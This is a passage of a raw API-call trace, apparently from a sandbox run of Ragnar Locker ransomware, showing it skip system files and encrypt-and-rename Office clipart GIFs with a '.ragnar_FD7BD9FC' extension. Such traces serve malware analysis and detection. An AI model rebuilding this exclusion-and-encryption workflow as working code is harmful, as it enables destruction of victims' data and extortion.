Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.150] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01745_.GIF" | out: lpString1="WB01745_.GIF") returned="WB01745_.GIF" [0093.150] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF") returned=".GIF" [0093.150] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.150] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="autorun.inf") returned 1 [0093.150] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="boot.ini") returned 1 [0093.150] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="bootfont.bin") returned 1 [0093.150] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="bootsect.bak") returned 1 [0093.150] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="bootmgr") returned 1 [0093.150] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="bootmgr.efi") returned 1 [0093.150] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.150] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="desktop.ini") returned 1 [0093.151] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="iconcache.db") returned 1 [0093.151] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="ntldr") returned 1 [0093.151] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="ntuser.dat") returned 1 [0093.151] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.151] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="ntuser.ini") returned 1 [0093.151] lstrcmpiW (lpString1="WB01745_.GIF", lpString2="thumbs.db") returned 1 [0093.151] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.151] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.151] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.151] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.151] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.151] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.151] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif")) returned 0x20 [0093.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.152] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1452) returned 1 [0093.152] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.152] GetProcessHeap () returned 0x580000 [0093.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.152] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.154] VirtualAlloc (lpAddress=0x0, dwSize=0x5ac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.154] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5ac, lpOverlapped=0x0) returned 1 [0093.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.154] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.155] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5ac, lpOverlapped=0x0) returned 1 [0093.155] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.155] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.155] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.155] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.155] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.155] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.155] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.156] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.156] GetProcessHeap () returned 0x580000 [0093.156] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.156] CloseHandle (hObject=0xf4) returned 1 [0093.156] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" [0093.156] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.ragnar_FD7BD9FC" [0093.156] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.157] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab95900, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ab95900, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01746_.GIF", cAlternateFileName="")) returned 1 [0093.157] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.157] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01746_.GIF" | out: lpString1="WB01746_.GIF") returned="WB01746_.GIF" [0093.157] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF") returned=".GIF" [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="autorun.inf") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="boot.ini") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="bootfont.bin") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="bootsect.bak") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="bootmgr") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="bootmgr.efi") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="desktop.ini") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="iconcache.db") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="ntldr") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="ntuser.dat") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="ntuser.ini") returned 1 [0093.157] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="thumbs.db") returned 1 [0093.158] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.158] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.158] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.158] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.158] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.158] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.158] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif")) returned 0x20 [0093.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.159] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=738) returned 1 [0093.159] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.160] GetProcessHeap () returned 0x580000 [0093.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.160] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2e2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.162] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2e2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2e2, lpOverlapped=0x0) returned 1 [0093.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.162] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e2, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.162] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2e2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2e2, lpOverlapped=0x0) returned 1 [0093.162] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.162] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.163] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.163] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.163] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.163] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.163] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.163] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.163] GetProcessHeap () returned 0x580000 [0093.163] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.163] CloseHandle (hObject=0xf4) returned 1 [0093.163] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" [0093.163] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.ragnar_FD7BD9FC" [0093.163] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.164] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c37800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34c37800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01747_.GIF", cAlternateFileName="")) returned 1 [0093.164] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.164] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01747_.GIF" | out: lpString1="WB01747_.GIF") returned="WB01747_.GIF" [0093.164] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF") returned=".GIF" [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="autorun.inf") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="boot.ini") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="bootfont.bin") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="bootsect.bak") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="bootmgr") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="bootmgr.efi") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="desktop.ini") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="iconcache.db") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="ntldr") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="ntuser.dat") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="ntuser.ini") returned 1 [0093.165] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="thumbs.db") returned 1 [0093.165] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.165] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.165] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.165] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.165] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.165] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.165] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif")) returned 0x20 [0093.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.166] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=903) returned 1 [0093.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x37e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.166] GetProcessHeap () returned 0x580000 [0093.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.166] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.168] VirtualAlloc (lpAddress=0x0, dwSize=0x387, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.169] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x387, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x387, lpOverlapped=0x0) returned 1 [0093.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.169] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x387, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.169] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x387, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x387, lpOverlapped=0x0) returned 1 [0093.169] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x387, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.169] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x387, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.170] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.170] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.170] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.170] GetProcessHeap () returned 0x580000 [0093.170] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.170] CloseHandle (hObject=0xf4) returned 1 [0093.170] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" [0093.170] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.ragnar_FD7BD9FC" [0093.170] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.171] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9c6a00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d9c6a00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01748_.GIF", cAlternateFileName="")) returned 1 [0093.172] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.172] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01748_.GIF" | out: lpString1="WB01748_.GIF") returned="WB01748_.GIF" [0093.172] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF") returned=".GIF" [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="autorun.inf") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="boot.ini") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="bootfont.bin") 